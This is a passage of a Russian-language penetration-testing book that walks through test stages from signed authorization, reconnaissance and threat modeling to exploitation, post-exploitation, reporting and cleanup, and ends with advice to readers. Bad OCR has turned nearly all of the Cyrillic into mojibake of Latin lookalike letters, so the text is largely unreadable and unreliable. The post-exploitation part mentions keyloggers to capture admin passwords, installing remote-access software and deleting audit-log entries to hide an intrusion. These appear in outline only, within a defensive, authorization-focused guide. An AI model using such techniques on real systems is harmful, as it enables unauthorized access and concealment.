Ybenutecn, 9TO Bl MIAHUPYEMBbIe TeHCTBUST HATILIH O00PEHE U COTIACOBAHBI CO
BceMHu yuacTHUKamu. Huske mpuBeieHbl TUTTMYHBIE BAPUAHTHI aTaK, KOTOPbIE MOTYT
IIPOBOJINTHCA KaK N30JIMPOBAHHO, TaK U B KOMILTIEKCE.

CounanbHas unskeHepus. CaMbiM ¢1a0bIM 9JIEMEHTOM JIIOOOH CUCTEMbI SIBJISIETCS
YeJI0BEK; TEXHOJIOIMU MOTYT IOMOUYb KOHTPOJUPOBATh €0 JeHCTBUsL, HO He CLIOCOOHDBI
TOJTHOCTHIO UCKITIOUUTD 3TOT pakTop. [IpoBenenne TecToB Ha MPOHUKHOBEHNE TIPU
HOMOIIY COLUATIBHON NHAKEHEPUN J0JKHO ObITh BKJIIOUEHO IIPAKTUYECKU B 11000
TECT.

TectupoBanue npuirokeHuii. MoxkeT MIPOBOIUTHCS OTAEIbHO WU OBITH YACTHIO
ob1tero tecra Ha MpoHUKHOBeHME, OcoObIil HHTEPEC TPEACTABIISIOT TPUIOKEHS,
HaNMCaHHbIe WHIUBUYAJIBHO JIJIST KOHKPETHON OPraHW3alluu, U MPUIOKEHUS, Pa-
GoTarolie B HECTAHAPTHOM OKPYKEHUH.

Tecruposanue ¢pusnyeckoit GezonacHoct. OcoGEHHO AKTYaNbHBI TAKUE TECTHI JIJIS
MPABUTEICTBEHHBIX M BOEHHBIX OpraHusanuii. Bo BpeMst TecTupoBaHust HEOOXOIMMO
MOTIBITATHCS TTOJIYYUTD JIOCTYI KO BCEM CETEBBIM YCTPOMCTBAM, HAXOASIIMMCS Kak
B IJIABHOM 3/IaHUMU, TaK U B Y/IAJICHHBIX MECTaX.

Hucaiigepckue ataku. ITonbITKy BbIIaTh ce0s 3a IIEPCOHY, Y KOTOPOI €CTh ZOCTYII
K KaKOMY-J1100 ceTeBOMY 060PYIOBAHUIO.

Buemmue araku. [TonbITky B3710Ma ceTh YEJOBEKOM, HaXO/AIINMCA 3a €€ IIpeJe/iaMu.

ATaku npU MOMOIIK YKPAJAEHHOTO 000pyA0BaHus. B aTOM ciydae aTakyionuuii
MOCJIe KPasku KaKoro-aub0 000PYI0BaHUST UCIIOIb3YET €ro JIJIs JabHENIIero Ha-
Ma/IEHUS.

Cienyer Takxke oOCYAUTb U OLPEAEAUTH BPeMS U JJIUTENbHOCTD IIPOBEAEHUS Te-
CTa — 3TO OYEHD BaKHO, TaK KAK HEKOTOPbIE GU3HEC-IIPOLECCh] IPOUCXOAAT TOILKO
B olIpe/ie/ieHHoe BpeMsi cyToK. IIpu aToM Heo6XoanuMo cobJmocTi GalaHe, Belb TECThI
C UCIIOJIb30OBaHUEM COHI/Ia]IbHOIL/,I NHXEHEPpU OY€Hb prI[HO IIPOBOANTD B BBIXOHbBIE
aHu uau B Hepabouee Bpemst. O6g3aTebHO 00CYANTE BOSMOKHBIE PUCKY M BIUSTHIE
TECTOB Ha GU3HEC-TIPOIECCHI, ITO TIOMOKET BaM 06E3011aCUTh ce0sl B CJIydae HEIpesl-
BUJICHHDBIX CUTYaLUA.
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[loroBop 0 nNposeaeHuMn paboT

B ciyuae TectupoBaHUs CTOPOHHEN OPraHU3aIMN BCETa HEOOXOANMO MTUCHMEHHO
3aKPEIJISITh TOCTUTHYTBIE TOTOBOPEHHOCTU. B 10TOBOPE HEOOXOANMO OTPA3UThH
CJIeIYIOMINE TyHKTBI:

® CUCTEMDbI, KOTOPbIE ITOJABEPTHYTCA TECTUPOBAHNIO;

® BO3MOJXHbBIE PUCKHU Ha cnyqaﬁ BO3HMKHOBEHUA HEIIPpEABUAECHHDBIX CI/ITyaHI/Iﬁ
(a OHH, KaK ITOKa3bIBa€T ITPpaKTHUKa, OBIBAIOT JIOBOJIBHO ‘laCTO);

® BpeMeHHble PAMKH C YKa3aHMeM JiaT U BpeMeH! (Bcer/ia IIaHupyiTe BpeMs ¢ 3a-
1acoOM, TIOMHUTE O HeIIPe/IBU/IEHHBIX CUTYaITHSIX );

® J[aHHbI€, KOTOPbIE BbI IIOJIYUHNTE IIepe/l Ha4a/IOM TeCTHUPOBAHNI;

® JleiiCTBUST, KOTOPbIE BbI COBEpINUTE 1pu 0OHApyKeHun ysispuMocTu. He Beerza
Hall/IeHHYIO YSI3BUMOCTb MOKHO ITPO3KCILTYaTUPOBATh, HO 3TO BbI IOHMeTe TOJIbKO
mocJjie TIONBITKY TTpoBecTn aTaky. OHAKO B HEKOTOPBIX CIAYYasX aTaka MOXKET
MIPUBECTHU K BBIXO/Y U3 CTPOS KPUTUUYECKUX I/ 3aKkazunka cucteM. [lomaNTE
0 PUCKaX;

[ ] peSy.}IbTaTbI TeCTI/IpOBaHI/IH, TO, B KAaKOM BHU/I€ UX HOJIy‘{I/IT 3aKa34MK 1 KaKOBO
JIOJIKHO OBITh UX COZEPIKAHIE.

MonyyeHne paspeLueHus

ITO OIVMH M3 KJIIOYEBBIX MOMEHTOB TECTUPOBAHUA CTOpOHHefI Opranu3aiun. He-
O6XOHI/IMO IMOJIY4YUTb TOKYMEHTAJbHOE IOATBEPIKACHNE TOMY, YTO OTBETCTBEHHBIN
YEJIOBEK CO CTOPOHDbI OpraHmns3alinm, I/IMeIOH_[I/Iﬁ ITpaBO MOAIINCH, YTBEP/JNJI Balll IJIaH
" JaJi corjacre Ha IpOBEJICHNE TaKNX pa60T.

Hukoria HeJib3s1 HAUMHATH TECTHI HA OCHOBE JIUIIb YCTHOTO COTJIACHST CTOPOH. Bes
cobJrroieHnsT (OPMaTbHOCTEH BBl U3 KATErOPUN 3aKOHOTIOCIYIITHOTO CIEIUAINCTA
10 HGOPMALMOHHON GE30IIaCHOCTH aBTOMATHYECKH Nepeligere B paspsij kubep-
IPECTYIHUKOB. EC/IM BbI IIPOBOIMTE TECTHI B TOI JKe OpraHusaiuu, rae 1 paboraere,
HOATBEPsKIeHUE He 00s13aTe/IbHO H0JKHO ObITh 0popMiIeHO Ha GyMare, — MOAOHAET
U IIUCHMO, TIPUCJIAHHOE TI0 9JIEKTPOHHOM 1ouTe. B 06111eM ke He cTOUT 1penebperath
GYMaKHBIM TOKYMEHTOM, TaK KaK TP BO3HUKHOBEHUN KaKUX-TO0 TpobieM oH Oy-
JIET CITY’KUTh HEOCTIOPHMBIM JIOKa3aTeJIbCTBOM Ballleil HeBUHOBHOCTH. B caryuae ke
BO3HUKHOBEHUS CUTYal[Hii, TPEOYIONIMX IPOBEIeHUs Psijia AOMOJHUTEIbHBIX, paHee
He 3allJIaHMPOBAHHBIX PadoT, HEOOXOAMMO IIOAIIMCATh AOIOIHUTEIBHOE COIIAlIeHIe
U IOJIyYUTh Pa3pelIeHie.

C6op paHHbIX

ITocne IO CAaHUA BCEX HY/KHBIX 6yMar MOJKHO ABUTATHCA JaJabIlle U HAUYMHATD CO-
6I/IpaTb H606XOZII/IMBIC JlaHHbIC. ITOT ATAT YoK€ OTHOCUTCS K TECTY Ha ITPOHNKHOBECHUE,
Jla’Ke €CJIN Bbl HE BSBPIMOlIeI;,ICTByeTe C II€JIbIO HaIIPAMYTO.
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CymecTByeT OTPOMHOE KOJIMYECTBO NCTOYHUKOB JIAHHBIX; PEIIaTh, KaKWe U3 HUX
GyyT MOJNE3HBI LIS TOCTHKEHISA KOHEUHON 11eJIH, a KaKie HEeT, TPUIETCS BaM.
Boi6upaiite Te, KOTOpbIe MOMOTYT BaM B OY/yIIEM MOJYYUTh Hauboiee TOJTHOe
MpezicTaBIeHUE O TeJN, OTPEIETUTh ITPUOPUTETHOCTD W HAIPaBJIEHNE BEKTOPOB
B3sioMa. VMctounnkoMm nHMOPMAMN MOKET CIYKUTHh YTO YTOJHO: TTOUCKOBBIE
CHUCTEMBI, CAliThl, BAKAHCHH, (PHAHCOBBIE OTUETHI W, KOHEYHO K€, COINaJIbHbIE
ceTu.

B PETS Bbizess10T TpU ypoBHS cO0pa JaHHbBIX:

® TIePBbBIN YPOBEHD — CAMbIi TPOCTOMH, IOMYCKAET UCTIOTH30BaHNE aBTOMATHUECKUX
crcteM cbopa MHMOPMAIIHH, & TAKIKE CAMBIX TIOTMYJISIPHBIX HHTEPHET-PECYPCOB;

® BTOPOii YPOBEHb OTJINYAETCS OT IEPBOTO TEM, YTO HOJIbIIE BPEMEHH TPATUTCS Ha
PY4HOI ¢O0p JAHHBIX ¥ JETATbHBINA aHAINU3 HHPOPMAIUY, YTOODI JIyUIlle Y3HATH
CBOIO IIEJIb;

[ ] TpeTI/Iﬁ YPOBEHDb caMbIii SanaTHI)Iﬁ 110 KOJIMYECTBY BpEMEHU 1 CWUJI, HA /TaHHOM
dTalle aTaKYyIOIINM HaXOJATCs CaMble YSA3BUMbIE MECTa CUCTEMDbI.

ITpeske yeM NpUCTYIUTD K cOOPY JaHHBIX, HEOOXOIUMO [IPOBECTH IIOArOTOBUTE/Ib-
HYI0 paboTy, KOTOpast MOKET BKJIOUATh B ceOst CICAYIONIIE IeHCTBUS:

® OIpeIeTNTECh C 1eJIbI0: XOPOIIIO, eCJIU Mepell BAMU TTOCTaBJieHa KOHKPETHAs 3a-
Jlada, 0JHAKO valile nHGOPMAIUs O 1[eJId HECKOJIBKO Pa3MbITa, U B 9TOM CJiydae
HEOOXOAMMO OIPEAEIUTD, YTO KOHKPETHO BbI J0JIKHBI HCKATD;

® OlIpese/inTe paMKy, 3a KOTOPbIE BbI HE MOJKETE BbIXO/IUTH Ha JaHHOM JTalle, €CJIn
BbI ITPOBOJINTE TECTHI JIA CTOpOHHef/'I OpraHn3aliuu;

® [pojyMaiiTe, CKOJIbKO BPEMEHU 3aliMeT BhITIOJIHEHHE PAOOT HA JJAHHOM JTAIlE;

® yerko 0003HAUbTe, KaKoil nH(pOpMalreil Bbl XoTean Obl 00J1aaTh 110 OKOHYaHUN
paboThl HAa JAaHHOM DTalle.

B ueasie mocsie 3aBepienust paboThl BbI TOJKHBI 00JaaTh CTPYKTYPUPOBAHHOM
nHMopMaImeii ciaeayonmux TUIIOB:

® 1y6MyuHOI nHbOPMAIMEH, JOCTYITHON IUPOKOMY KPYTY II0JIb30BaTe Iei, 00bIYHO
u3 ohUIHMATBHBIX HCTOYHUKOB;

e wHbOPMaIKell U3 OTKPBITBIX UCTOYHUKOB, JOCTYITHON MUPOKOMY KPYTY MOJIb-
30BaTeJIen;

e creunuduueckoil nHdopmaluei, Kacamouieiicsa ocobeHHocTeil cepbl paboTh
npeanpusThst (HapuMep, 0COGEHHOCTH TIPUMEHSIEMOTO 060PYI0BAHKS U TIPO-
rpaMMHOr0 obecredeHus );

® ceTeBOI WH(pOPMaIMEl, BKIOYask BCe, YTO MOKHO Y3HATDH O CETEBBIX CEPBUCAX:
[P-anpeca, DNS-3ammcu, cetu u T. 11.;

® J[aHHBIMU 00 YSI3BUMOCTSIX — TIOTEHITMAIBLHBIX OPeliax B cucTeMe Ge30MacHoCTH,
KOTOPBIE MOTYT OBITD MPOIKCILIYaTHPOBAHBI HA MOCJIEYIOIUX HTAIAX;
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® JJAHHBIMU COTTMAIBHON WHKEHEPUH, BKJIIOUAST BCE TO, UTO BbI CMOTJIM BBIBEJATH
Y COTPY/IHUKOB JJAaHHOI OpraHu3aIiiu.

MoaennpoBaHue yrposbl

OcHoBHas 331292 Ha 9TOM 3Talle — IIOCTPOEeHNe TeCTOBOI CPe/bl, B KOTOPOIi BBI CMO-
JKeTe ompobOBaTh Bee TTaHNPYEeMble BAPHAHTDI aTaKH Ha MEJEBYI0 cructeMy. ATpo-
Garrst METOZIOB B BUPTYAIBHOM Cpejie TIOMOXKET BaM u3bekaTh OmmMOOK mpu paboTe
C peasIibHOI 11eJIbI0, 4 TAKIKE MPUBJIEYD K cebe MEHbINE BHUMAHUSI, BE/Ib B abHeNTIei
pabote BbI Gy/I€TE UCTIOIB30BATH JIUIIL TIPOBEPEHHBIE METO/IBL.

B mporiecce MoeMpOBAHNs BBIIEAIOT YeThIPe OCHOBHBIX dTalla:
® u3yuYeHne HeoOXOANMOI TOKYMEHTAI;

® olpe/eseHue IIEPBUYHBIX U BTOPUYHBIX METOJ[OB aTaK;

® HAXO’/IeHUE OCHOBHBIX U BTOPOCTEIICHHBIX YSI3BUMOCTEN;

[ ]

oTIpe/ieIeHrie MeTO/IOB aTaK! /LIS KaXKI0W U3 ySI3BUMOCTEN.

ITo cyTtu, aTOT MpoOTIEce MOKHO OTHECTH K aTamy cbopa nHbopmanuu, Ho GoJee
yruay6aennomy. B uease Bbl IOKHBI Tpadueckyt 0TOOPasUTh BCIO MOMYIECHHYIO Ha
[pebIAyIeM Mare HHGOPMAIIO: OU3HEC-TIPOIECCHI, (DU3UMUECKOE PACIOTIOKEHIE
060pyIOBaHNUS, KAPTY CETH, HEPAPXHUIO COTPYAHUKOB U T. 1. JIJIst 3TOTO CYIIECTBYET
MHOKECTBO MHCTPYMEHTOB, PACCMOTPEHHBIX B ATOI KHUTE.

AHanu3 ysa3BuMocTemn

Ha sTom sTare, ncmorb3yst BCio cOOpaHHyio WHHOPMATIMIO U OTIPEICTUBIINCH C Me-
TO/AMH U UHCTPYMEHTaMH, Bbl HAYMHAETEe HEIIOCPEACTBEHHO B3aUMO/IEHICTBOBATD CO
CBOEIT 11e/1bI0. BBl I0JIKHBI OMPENETUTD 1 KIacCu(DUIMpoBatTh J00bie BOSMOXKHbIE
YSI3BUMOCTH, OY/Ib TO HEKOPPEKTHAST KOH(UTYPAIUS CEPBICA WU OMIMOKH, TIOSIBUB-
IIHECS TI0 BUHE Pa3pabOTYMKOB KOHKPETHOI TIPOTPAMMBIL.

[Tpu mpoBeIeHU TAKOTO AaHAJIN3a BbI JIOJKHBI YETKO MPEACTABIATEH cebe, Kakue
TecThl GyJIeTe TPOBOAUTD, KAKOH MHCTPYMEHTapHil GyieTe UCIIO0Ab30BaTh W YTO BbI
xorute HaiiT. lHaue BbI MOTPAaTHTE MHOTO BPEMEHH, BCe GOJIbIe yriyOJIsasach B aHa-
JIM3 KAKOTO-JTHO0 OTIETBHOTO KOMITOHEHTA CETH, 2 €3 YETKOTO OCO3HAHUSI eI 9TO
MOJKET 0Ka3aTbCsl KOHTPIIPOLYKTUBHO.

Bo Bpems aToro srana yaie BCETo MPUXOANTCS BBITTOJHATD TAKUE TEHCTBUSA, Kak
CKAHUPOBAHNE MOPTOB, TToJydeHre ndopMaiiy 06 yCTaHOBIEHHBIX TPOTPaM-
MaX, CKaHUpOBaHUe Ha HaJIW4Me YSI3BUMOCTell U Apyrue, oNUCaHHbIe B IJIaBax 4
«AxTuBHBIH c60p manubIx> 1 6 «Ilonck ys3sumocteii». Crapatitech n3beratnb
TIPEKAEBPEMEHHBIX TOTBITOK HKCILTYATAIINT HAWIEHHDBIX YSI3BUMOCTEH, KAKUM OB
3aMaHYMBbBIM TO HU BHITJIsAEN0. [loMHITE, UTO BBI €I1ie TOJIBKO COOMpaeTe moJes-
HYI0 UHGOPMAIUIO.
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dKcnnyaTaumst ysa3BMMOCTEN

TToce TOTO Kak BLI COOPATH BCIO HEOOXOAMMYTO HHHDOPMAIIHIO, OTIPETETUIUCH C Y513~
BUMOCTSIMU, TIOJITOTOBUJIM HEOOXOIMMBIE HHCTPYMEHTDI U BHIOPAIIHM HY/KHBIE TIEJIH,
MO’KHO IIPUCTYTATD K CJIEAYIONIeMY HIary.

Ha janHOM 3Talie BbI Oy/ieTe MCIOIb30BaTh HAlIEHHbBIE YSI3BUMOCTHU JIJIST KOMITPO-
MeTal HCHEBOﬁ CHUCTEMDI U TTIOJTyYE€HUA JOCTYIIa K Hell. Bbl JOJIZKHBI CIIOJIb30BAaTh
HOJYYeHHYT0 NHOOPMAIHUIO JIJIsl OTIPE/IesIEHUST TTOXO/ISIIEH 11eJTH; TOMHUTE, YTO
HEOOXOMMO BBIGPATH TY YSA3BUMYIO CUCTEMY U3 MHOKECTBA HAWJEHHBIX, B3TIOM
KOTOPOW IIPeIOCTaBUT B fajibHeleM HanboJbiiue npenMyiiectsa. Haiins, nanpu-
Mep, MHOKECTBO YSI3BUMBIX PaOOYMX CTAHIUN U HECKOJIBKO CEPBEPOB, JIyUIle CO-
CPpeIOTOYNTDH CBO€ BHUMaHNE Ha ITOCJIEJHUX, TaK KaK X B3JIOM ITIOMOJKET Ppa3BHUBaTb
HaJbHEIy 0 araky 6oJiee a3(hHEKTUBHO.

[Tocsie onpenenenus 1ean Bbl L0JKHBI UCIIOJIB30BATh BCE CBOM TPAKTHYECKUE Ha-
BBIKH UM 3HAHUS JIJIST TOTO, YTOOBI CKOMIIPOMETHPOBATH ee. BIoJIHe BO3MOKHO, 4TO
C TIEPBOTO Pa3a y BAC HE BCE MOJYYUTCST M BaM IIPUJIETCS IEPETPOOOBATH MHOKECTBO
METO/I0B, IPEK/IE UeM BBI JOCTUTHETE 5KETAeMOT0 Pe3yIbTaTa.

CambiMu IonyJadaApHbIMUA TUIIAMU aTaK ABJIAIOTCA:
® B3JIOM I1apOJId,

® [epexBar JIaHHBIX;

® JIepexBaT CeCCHU,
[ ]

neperoJiHeHue Oydepa.

Bce o1u Tr1b! (1 He TOJIBKO IPUBeIeHHbIE BhIIIE) ObLIN PACCMOTPEHBL B IJIaBaX JaH-
HOW KHUTH: TJ1aBe 9 «Bamom maposteiis, rmase 10 «Ilepexsat nabopmaris, riase 15
«ITepenonHenne 6ydepas ), HO TOMHKTE, YTO ATAKK MOTYT OBITh MHOTOKOMITOHEHT-
HBIMU U BKJIIOYATh B ce0sl KaK TeXHUYECKWIA, TaK 1 4eJI0BeYecKuil (hakTop.

|_|OCT3KCI'IJ'IyaTaL|,VIOHHbIl‘;I 3Tar

ITocie TOro Kak Ballla aTaka 3aBepLIMIACh YCIIEXOM, BaM HEOOXOIMMO 3aKPenuThCsI
B cucTeMe, YTOOBI C/leJIaTh SKCILIyaTal[|Io0 aTaKoBaHHOII e/ GoJiee yao6Hoi. ITocie
3aKpeIIeHNst BaM He IPUAETCS KasK/Iblil pa3 3aHOBO B3JIaMbIBaTh CUCTEMY, YTOObI BbI-
MOJTHUTH HY’KHBIE BaM JICHCTBIS; KPOME TOTO, YAauHast SKCILIyaTaIlis OXHON W TOI
JKe YA3BUMOCTH MOJKET CTaTh HEBO3MOXKHOI OYKBaJIBHO Cpasy Ke IOC/Ie B3JIoMa.

Jluist Havasia HeOOXOAMMO OIPE/IEJIUTh YPOBEHb CBOUX MPaB B CUCTeMe U Habop J10-
CTYTIHBIX BaM JieticTBuil. BriosiHe BO3MOKHO, YTO BBITIOJTHEHME HEKOTOPBIX oTlepariuii
OyieT HeJIOCTYITHO, TOT/Ia CTOUT 3a/lyMaThCsl O BO3MOKHOCTHU MOBBIIIEHUS CBOUX
TIPUBUJIETUT.

Kakwue peficTBug coBepiuiaioTcs Ha JaHHOM aTtane? Bbl MoxkeTe 3aIyCcTUTh KJIaBHa-
TYPHBII IITTHOH, KOTOPBIN BBIIIJIET BaM 1apoJib aIMUHUCTPATOPA II0CJIe TOTO, KaK OH
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3aiiyieT B cuctemMy. Bel MokeTe CKOTMPOBaTh MH(MOPMAIIHIO O TTAPOJISIX JIJIST TOCIIe/Ty-
IOLIero aHaiusa uin yeranosutb 110, koTopoe obecriednT BaM JaJbHeNIIuii JoCTyI
K CUCTEeME U BO3MOKHOCTD €€ yIaJIeHHOTO KOHTPOJISA. Takike MOKHO y/IaTUTh CJIE/IbI
Baniero Hp€6bIBaHI/I${ B cucreme, O6bI‘{HO 9TO IOCTUTAETCA ITyTEM Y/IaJ€HUA HYKHBIX
3amnmceil u3 JKypHaJOB ayInTa.

OTtyeT

[Mocse MPOXOKAEHMST BCEX OMMCAHHBIX BBIIIE ITAMOB HEOOXOANMO CO3/IaTh OTUET.
OT4eTbl MOTYT UMETh PA3IUYHBIN BUJI; KAKOW OTYET JOJIKEH OBITh MPEJCTaBICH
B KaXK/IOM KOHKPETHOM CJTydae, HeOOX0MMO OOCYIUTh TIEPE/l HAYaJIOM TECTa, O YeM
pacckas3biBaoch B riiase 5 «OTyeTnis.

Hecmotpst Ha pasHOOGpasie BO3MOKHBIX (POPM OTUETOB, CYIIECTBYIOT OTIPEIe/ICHHbIE
IIYHKTbI, KOTOPbIE JI0JIKHBI [IPUCYTCTBOBATH B JII000M 13 HUX. KasKIblii oTUeT 10/KeH
HAYMHATBCS ¢ KPATKOro 0030pa IIpollecca TECTUPOBAHIS, B 9TOM Paszieie HeT Heo0X0-
JIMMOCTU OIUCBHIBATH TEXHUYECKHUE JETAIN KAKIOTO 111ara, 3/[eCh OTPAKAIOTCS TOJIBKO
KJIFOU€eBbIe MOMEHTBI. J{asiee He0GXOAUMO TPUBECTU CITUCOK HANIEHHBIX YSI3BUMOCTEN
U WX aHAJTW3, TPUYEM JIydllie CrPYTIITUPOBATh X 10 CTENEHN BaKHOCTH, HAITPUMEP:
KPUTHYECKUE, BAKHbIE, HE3HAYUTEIbHBIE.

Otuer JoJIKeH BKIIOYaTh B ce0s CIeAyIomyio nHbOpMaIIo:

® ClleHapW¥ 1 OTTMCAHUE BCEX YCIIENTHbIX aTaK;

JleTaJIbHOE TIPE/ICTaBIEeHNE JAHHBIX, TOJTYYEHHBIX B XO/I€ TECTA;
yKasaHWe BCeX HalJIeHHBIX YSI3BUMOCTel;

oImMcaHue BcexX HaleHHbIX yHBBI/IMOCTeI;'I;

MIPe/IVIOKeHNsT U TeEXHUYeCKre pellieHns s yCTPaHeH!sT Hal/IeHHBIX YsI3BUMO-
cTen.

JLJ1s1 OCIe Y IOIIEro CO3/IaHisl XOPOIIEro OTYeTa [0 X0y IPOBEIeHIs TecTa HeoOX0-
JIIMO 3aITUCBIBATh BCE CBOM JIECTBUS B JII060i1 y06HOI 17151 Bac hopme.

3a4nUCTKa

[Tocsie yauHOTO 3aBEpIIeHNs TeCTa HEOHXOANMO MO BO3MOKHOCTH YAAIUTH CJIEIbI
BCeX Balllux ﬂeﬁCTBHfI — UMEIOTCA B BUY YCTaHOBJIEHHbBIE ITPOTPaMMbl, CO3/IaHHbIE
M0JIH30BATEJ, U3MEHEHUsT KOH(MUTYPAIIH 1 BCE OCTAIBHOE, UTO BB YCIIEJHU CIENATH
B XOJI€ TecTa, 4T0 MoAPoGHO paccMoTpero B TiiaBe 13 «Cokpbitue cieoss. JIroObie
OCTaBJIEHHBbIE BaMHU JIa3eKN MOTyT 6LITB HCITIOJIb30BaHbI 3JIOYMbBINIJIEHHUKOM JIJIST
HOJTy4eHUsT HECAHKITHOHUPOBAHHOTO JIOCTYTIA K YK€ CKOMITPOMETUPOBAHHON BaMU
cHCTEME.
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ObpalleHune K yutaTento

YBaskaembrii untartesib! X0Ts1 B 9TON KHUTE NIPUBEJEHbBI JIUIIIH OCHOBHBIE U CaMble
pacrpocTpaHeHHbie METO/bI, IIPUMEHsIeMbIE CIelUaIucTaMu B 00aacTu uH(popma-
LOHHOII 0e30IIaCHOCTH, He PacCTPauBaiiTeCh, €C/IU BaM He YAACTCS BOCIPOU3BECTH
WX C TIEPBOTO pasa.

Korna aBTop MaHHOI KHUTH JIe/iajl CBOM TIEPBBIE MArd B MUPe MH(GOPMAITMOHHBIX
TexHoJjiorui, on nepeycranasausail BCIO onepanuonmnyio cucreMy TOJbKO U3-3a
TOTO, YTO BO BPEMST HHCTAJIAIIY 3a0BIBaJl YCTAHOBUTDH KAKOW-TM60 KOMIIOHEHT.
[Tpobyiite, wccmepyiiTe, ynTaiite U ACIUTECH OTIBITOM, — TOJBKO TaK BBl CMOJKETE
JIOCTUYb HACTOSIIITX BEPITMH MACTEPCTBA.

«Teopust 63 MPaKTUKN MePTBa 1 HECIIIOHA, a TPaKTHKA 6e3 Teopuu Hecroye3Ha
u mary6ras, — ckazain [Madmytnit JIsosud YeObiTeBs, BETUKUI PYCCKIIT MaTEMATHK
n mexannk XIX Beka. He mibiTaiiTech mpocTo MOBTOPUTH IPUBEIEHHBIE TIPUMEPHI —
OCMBICJIMBATE X, 3a/aBaiiTe cebe BOIPOCHI U UIUTE HA HUX 0TBeThl. He Goiirech
CJIMTITKOM YTJIYOUTHCS B KAKYI0-TO OJIHY 00JIaCTh — B KOHIIE KOHIIOB, CPEJIH CTIeTIH-
ATUCTOB O UHGMOPMAITHOHHON GE30MACHOCTH TaKyKe CYIECTBYIOT Y3KHUe CIenn-
amncThl. Bee 3HATH HEBO3MOJKHO, M3ydJaiiTe TO, 9YTO BAM HPABUTCs, OY/Ib TO aHAN3
BeO-TIPUTOKEHH, COTMATbHAST MHIKEHEPHST MJTH TIOVCK YSI3BIMOCTEH B ITPOTPAMMHOM
obecrieueHnu.

He 3abbiBaiite 0 co3nanuu JadopaTopuu, mycTh gake Buptyaibuoil. OHa Gy/er xo-
POIINM IIO/ICTIOPHEM B OTTAYMBAHNHN IIPAKTUYECKNX HABBIKOB TI€PE/] X IIPUMEHECHNEM
B PealbHOM MUPE.

Cosnasaiite nmpoeccroHaIbHble cOOOIIECTBA UK TIPUHUMAITE aKTUBHOE y4acTHe
B pabore cyriecTByonux. VIMEHHO OT KOJLJIET TI0 1eXY MOKHO Y3HATh CaMyIO aKTy-
anpHyto mHbopMaro. Hnoraa mocse 6ecepl ¢ APYTHM CIETTHATHCTOM TPUXOIST
caMble HeO)KUTAHHbIe PEIIEHNsT TPOOIEMbI, Hall KOTOPOH BB GUITHCH TIOCIETHION0
HeIeITio, MecstI] Wit iaske rof1. He Gotitech pusHATLCSE cebe U APYTHM B TOM, UTO BbI
4Yero-To He 3HaeTe, — 9TO HOPMaJIbHO.

ITomoraiite apyrum u obydaiite UX; MHOTA BAlIX YIEHUKK MOTYT BaM 3a/1aBaTh BO-
IIPOCHI, OTBETOB HA KOTOPBIE Y BAC He Oy/IeT, — BOCIIPUHUMANTE 3TO KaK BO3MOKHOCTD
passuBathes. [la, B Xoze IpenogaBanus BaM IPUAETCs 00bICHATH OUeBUHbIC BEIU
TBICSUY Pas, 3aT0 HTO IIOMOKET BaM CAMUM He 3a0bITh MX M HE JOIYCTUTh HOCTBIIHYIO
JLIST BBICOKOKJIACCHOTO IIpodheccuoHata omnbKy HOBUYKA.
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He 3abbiBaiite 3010T0€ TIpaBuio MHGOPMAIMOHHON 6E30MACHOCTH: «HUKTO U HU-
KOTJIa He HaXOAMTCS B OesonacHocTH». He cyliecTByer cucreM, KOTOPbIe HEJIb3st
B3JIOMATb, CYIECTBYIOT JIMIIb JIIOJU, Y KOTOPBIX HEJOCTATOUYHO JIJIS1 9TOTO OIIbITa,
3HAHUI, CMEKAJIKU WJIX BCETO ATOTO cpasy. B Mupe nH(OpMaIlnOHHbIX TEXHOJIOTUI
€CTh TBICSYU TPUMEPOB B3JI0Ma MH(MOPMAITMOHHBIX CUCTEM B CUTYAITUSX, KOT/A ajl-
MUIHUCTPATOPbI He YEJISIN JOJKHOTO BHUMAHUS O€30TTaCHOCTH, TIOHAJIESBIIIACH Ha
OpeH/I ¢ TPOMKHUM UMEHEM U pa3paboTYNKOB MIPOAYKTA.

Hazeiock, 4o BCIo TIOJyYeHHYIO B 9TO# KHUTe MHMOPMAIIUIO BbI Oy/IeTe UCTIOIb30-
BaTh UCKJIIOUUTEILHO B PAMKaX [TPABOBOTO IOJIST UJIM KaK MUHUMYM BO OJIaro BCETo
YeJI0BEYECCTBA.

Ynayn!
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